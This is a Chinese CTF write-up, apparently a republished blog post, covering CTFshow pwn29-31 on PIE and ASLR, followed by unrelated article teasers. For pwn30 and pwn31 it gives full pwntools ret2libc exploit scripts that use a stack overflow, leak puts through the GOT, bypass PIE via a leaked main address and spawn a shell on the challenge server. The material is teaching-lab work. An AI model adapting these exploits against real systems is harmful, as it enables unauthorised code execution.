CTFshow-pwn入门-前置基础pwn29-pwn31

news2024/9/25 19:24:52

什么是PIE

由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等。于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。
在这里插入图片描述

pwn29

在这里插入图片描述
首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
pwn文件是64位,并且PIE是开启的,那就扔到ida64反编译看下源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [rsp+4h] [rbp-1Ch] BYREF
  void *ptr; // [rsp+8h] [rbp-18h]
  void *v6; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  ptr = malloc(4uLL);
  v6 = dlopen("./libc-2.27.so", 258);
  puts(s);
  puts(asc_B10);
  puts(asc_B90);
  puts(asc_C20);
  puts(asc_CB0);
  puts(asc_D38);
  puts(asc_DD0);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Please confirm your ASLR level first !                  ");
  puts("    * *************************************                           ");
  system("echo 2 > /proc/sys/kernel/randomize_va_space");
  puts("Here is your ASLR level:");
  system("cat /proc/sys/kernel/randomize_va_space");
  puts("Let's take a look at protection:");
  system("checksec pwn");
  printf("executable: %p\n", main);
  printf("system@plt: %p\n", &system);
  printf("heap: %p\n", ptr);
  printf("stack: %p\n", v4);
  puts("As you can see, the protection has been fully turned on and the address has been completely randomized!");
  puts("Here is your flag:");
  puts("ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}");
  free(ptr);
  return 0;
}

在这里插入图片描述
大致逻辑就是,先把/proc/sts/kernel/randomize_va_space的内容更改为2,也就是将ASLR全开启,然后输出了main函数和system函数的地址,有输出了变量的堆栈的信息,最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的!然后就会为我们输出flag了。
在这里插入图片描述
刚开始我还感觉这个flag是假的,提交发现这是正确的flag。这不就运行即拿flag,一点难度都没有~~

pwn30

在这里插入图片描述

首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
是32位的程序,并且PIE和canary没有开启,NX开启了。先丢进ida反编译一下。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  puts(asc_8048710);
  puts(asc_8048784);
  puts(asc_8048800);
  puts(asc_804888C);
  puts(asc_804891C);
  puts(asc_80489A0);
  puts(asc_8048A34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No Canary found & No PIE ");
  puts("    * *************************************                           ");
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}
// ctfshow
ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

在这里插入图片描述
这道题没有给我们预留后门,也没有system函数,但是plt表中有puts函数。所以我们还得使用pwn25题目的ret2lib方式来打通这道题目,因为这个程序的PIE是关闭的,并且canary也没开,ret2libc方便些。

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote("pwn.challenge.ctf.show", "28176")
elf = ELF("./pwn")

offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)
python exp.py

在这里插入图片描述
在这里插入图片描述
成功拿到flag!

pwn31

MD,这道题对我这个初学者来说确实有难度啊~
肝了一天,找各种资料,终于找到绕过PIE的方法了。由于我也是初学者,目前对这些的理解还不是很彻底,所以本篇文章还是只研究wp如何拿到flag,具体绕过pie的原理等以后理解深刻了有时间再详细给大家介绍!

在这里插入图片描述

首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,RELRO和PIE都已经开启,NX也开启了,但是没有开canary保护,先弄进ida反编译下。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  printf("%p\n", main);
  ctfshow(&argc);
  puts(asc_854);
  puts(asc_8C8);
  puts(asc_944);
  puts(asc_9D0);
  puts(asc_A60);
  puts(asc_AE4);
  puts(asc_B78);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Bypass ALSR & PIE ");
  puts("    * *************************************                           ");
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}
// ctfshow
ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

在这里插入图片描述
代码跟上道题目的代码都一样,函数也一样,就是开启了PIE和RELRO保护。

开启了PIE,就代表了地址随机化,我们就不能像上道题目一样直接来个ret2libc梭哈了~_~

但是我们仔细看源码发现,这个程序是给我们输出了个main函数的地址,这样就泄露了main函数的地址,我们就可以拿着它减去main函数的地址获得函数地址的偏移量了,然后拿着程序里的其他函数的地址加上这个偏移量就能拿到程序里函数在内存中的地址了。
在这里插入图片描述
然后呢,我们再利用程序的puts函数输出got表中puts函数的地址,利用LibcSearcher模块根据puts函数的地址就能到puts函数在libc中的偏移,进而得到libc中system函数的地址以及字符串"/bin/sh"的地址了,这样我们再重新构造payload,就能得到目标服务器的权限了!

计算溢出偏移量

我们首先使用gdb打开pwn,然后使用命令cyclic 200输出200个无用字符,复制它们。

gdb pwn
cyclic 200

在这里插入图片描述
接着输入r命令运行程序,这时程序会让我们输入数据,我们就把我们之前的到的200个无用字符复制进去进行了。这时程序由于栈溢出就会爆出错误,程序会给出一个无效地址,就是因为这个地址是无效的,所以我们的程序才会报错,其实这个无效地址就是被我们覆盖的ctfshow函数的返回地址。
在这里插入图片描述
然后我们使用命令cyclic -l 0x6261616,就可以知道这个地址的偏移量,我们也就获得了栈溢出的偏移量了。

cyclic -l 0x6261616b

在这里插入图片描述
可以看到,偏移量为140。

编写exp.py

拿到真实的main地址

这个程序已经帮我们打印,我们直接接收就行了:

from pwn import *

context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)

在这里插入图片描述

获得函数地址的偏移量

我们获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移了。

from pwn import *

context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']

通过got表中puts函数的地址打印出puts函数真实的地址

from pwn import *

context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

解释一下payload:
首先是132 * ‘a’ ,大家可能会有疑惑不应该是140嘛怎么是132?
这是因为,在ctfshow函数了,函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
在这里插入图片描述
我们必须将这个ebx恢复而不能进行覆盖,而那140的长度是包含ebp,所以我们132 + ebx的长度为132+4,距离140还差4个长度,我们需要再补充4个没用的字符’a’ 。
那么ebx是怎么得来的呢?是通过__x86.get_pc_thunk.bx这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0
通过readelf -S pwn查看got表的地址

readelf -S pwn

在这里插入图片描述
payload之后就是加上puts函数的地址+ctfshow函数的地址(这个地址是作为puts函数的返回地址的,等到puts函数执行完,会再次进入ctfshow函数,我们又可以继续利用溢出漏洞了),之后再加上puts函数的参数,即got表puts函数的地址。
在这里插入图片描述

找到libc,通过libc找到system、/bin/sh

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

再次构建payload,getshell!

from pwn import *
from LibcSearcher import *
context.log_level = "debug"

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 140 * 'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

在这里插入图片描述
拿到shell,列出目录,发现flag直接cat读取!
在这里插入图片描述
成功拿到flag!!!终于肝出来了++
不得不说,这道题一点都不基础^_^

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/671990.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

24. Vue防抖,禁止double click

Vue 防抖 如果按钮不做防抖限制,用户手滑或者其他场景大概率会出现重复调用接口的情况,比如编辑角色时,多次点击submit,会出现非预期请求。 为避免重复点击问题,可以加一个自定义组件将按钮禁用一段时间。 监听click时…

详解Java锁对象

1、Synchronized 1.1、synchronized特性 1、互斥 synchronized会起到互斥效果,某个线程执行到某个对象的synchronized中时,其他线程如果也执行到同一个对象synchronized就会阻塞等待。 *进入synchronized修饰的代码块,就相当于加锁。 *退…

10.安装dashboard

有了之前我们部署的 keystone 、 glance 、 nova 、 neutron 服务之后,我们就可以启动云主机了,但是如果只是使用命令来操作OpenStack 的话非常不方便,我们使用OpenStack 搭建云平台就是为了把底层所有资源整合在一起,然后以一种方…

html5前端学习2

一篇思维题题解: 第五周任务 [Cloned] - Virtual Judge (vjudge.net) http://t.csdn.cn/SIHdM 快捷键: CtrlAltDown 向下选取 CtrlAltUp 向上选取(会出现多个光标,可以同时输入) CtrlEnter …

linux 内核资源配置--cgroups详解以及在docker中的应用

一、Cgroup 概述 1.1、cgroups 是什么 Linux cgroup (Control Groups)是 Linux 内核提供的一种机制,用于限制进程组使用的资源(如 CPU、内存、磁盘 I/O 等)。通过将进程组划分为层次结构,并将资源限制应用…

【操作系统】2、进程与线程

【重要考点】 1. 进程与线程 进程与线程的基本概念 进程与线程的状态 转换 ——五态图,七态图 线程的实现: 内核级 用户级 进程与线程的组织和控制 进程间通信IPC: 共享内存、消息传递、管道 2.CPU调度与上下文切换 调度的基本概念 调度的实…

39.SpringCloud—配置管理nacos、远程调用Feign、服务网关Gateway

目录 一、SpringCloud。 (1)Nacos配置管理。 (1.1)统一配置管理。 (1.2)配置热更新(自动更新,不需要重启服务)。 (1.3)多环境配置共享。 &a…

【C++篇】初识C++

友情链接:C/C系列系统学习目录 知识点内容正确性以C Primer(中文版第五版)、C Primer Plus(中文版第六版)为标准,同时参考其它各类书籍、优质文章等,总结归纳出个人认为较有逻辑的整体框架&…

E. Tracking Segments - 二分+前缀和

分析&#xff1a; 记录所有区间和给定的每一次的询问&#xff0c;二分询问的最小满足条件&#xff0c;可以通过前缀和来计算区间内有几个1。 代码&#xff1a; #include <bits/stdc.h>#define x first #define y secondusing namespace std;typedef long long ll; type…

​面试官疯了:while(true)和for(;;)哪个性能好?

△Hollis, 一个对Coding有着独特追求的人△ 这是Hollis的第 427 篇原创分享 作者 l Hollis 来源 l Hollis&#xff08;ID&#xff1a;hollischuang&#xff09; while(true)和for(;;)都是做无限循环的代码&#xff0c;他俩有啥区别呢&#xff1f; 我承认这个问题有点无聊&#…

四、Docker镜像

学习参考&#xff1a;尚硅谷Docker实战教程、Docker官网、其他优秀博客(参考过的在文章最后列出) 目录 前言一、Docker镜像1.1 概念1.2 UnionFS&#xff08;联合文件系统&#xff09;1.3 Docker镜像加载原理1.4 重点理解 二、docker commit 命令2.1 是什么&#xff1f;2.2 命令…

走进人工智能|机器学习 解码未来的科技革命

前言: 机器学习的发展为我们提供了更智能、高效和便捷的科技产品和服务&#xff0c;可以改善我们的生活和工作方式。 文章目录 序言背景解码未来的科技革命技术支持应用领域程序员如何学总结 序言 机器学习是一种人工智能领域的技术&#xff0c;它让计算机通过数据自动地学习和…

folium离线地图使用

几点说明&#xff1a; 1. 代码亲测有效&#xff08;效果见文末图&#xff09; 2. 离线使用&#xff0c;需要预先下载png格式的离线地图&#xff0c;这里以OpenStreetMap为例。 3. 离线地图下载工具&#xff1a;Offline Map Maker https://www.allmapsoft.com/omm/ 4. foliu…

赋予女性力量:在 Web3 和元宇宙中释放新的机会

Web3 和元宇宙的出现引发了数字领域的革命&#xff0c;为全世界的用户带来了更多可能性。这一转变的其中一个重要方面是赋予女性权力&#xff0c;因为她们更踊跃参与元宇宙活动&#xff0c;并利用 Web3平台挑战传统边界。 The Sandbox 非常自豪能够开放、具包容性地为 womenint…

Swing如何使用?几个操作示例教会你!

以下是四个使用 Swing 组件创建的示例代码&#xff1a; 示例一&#xff1a;JFrame JFrame 是一个顶级容器&#xff0c;用于创建框架窗口。下面是一个简单的 JFrame 示例&#xff1a; import javax.swing.JFrame;/*** author: Ajie* create: 2023/6/21* Description:* FileNa…

OpenStack(1)-创建实例

目录 一、上传镜像 1.1 新建目录 1.2 上传至glance 1.3 查看镜像 二、新建实例 2.1 获取秘钥 2.2 新建实例 2.3 新建实例admin-vm 2.4 获取实例VNC的url 2.5 nova常用命令 一、上传镜像 1.1 新建目录 上传名为cirros-0.3.4-x86_64-disk.img的Linux测试镜像&#xf…

JdbcTemplate 数据访问工具

文章目录 前言JdbcTemplate 数据访问工具1. 概述2. 主要功能3. 示例 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话&…

新时代的黑科技:就凭这个,还真就非JNPF低代码不可了

随着技术的不断进步&#xff0c;现代企业对软件开发的需求越来越迫切&#xff0c;传统的软件开发方式已无法满足快速迭代和创新的需求。在这种情况下&#xff0c;低代码开发平台应运而生。低代码开发平台通过提供可视化的开发工具和预构建的组件&#xff0c;大大加快了应用程序…

Docker的安装部署以及配置的操作流程(图文)

Docker的安装以及配置流程&#xff08;图文&#xff09; Docker一、配置域名解析二、CentOS Docker 安装1. 查询已安装的docker2. 安装必要的一些系统工具3. 添加软件源&#xff08;阿里云&#xff09;信息4. 更新并安装Docker-CE5. 查看docker 的版本6. 关闭运行的防火墙7. 开…

CMake 工程实践指南专栏介绍

CMake 工程实践指南专栏介绍 大家好,我是 eg,欢迎来到我的 CMake 工程实践指南专栏。本专栏会保持一周一更的节奏,带大家从一个 CMake 小白蜕变成 CMake 熟练使用者。 1. 我与 CMake 的故事 在正式内容开始之前,我想谈谈我和 CMake 的故事。我读书的时候是压根儿不知道 …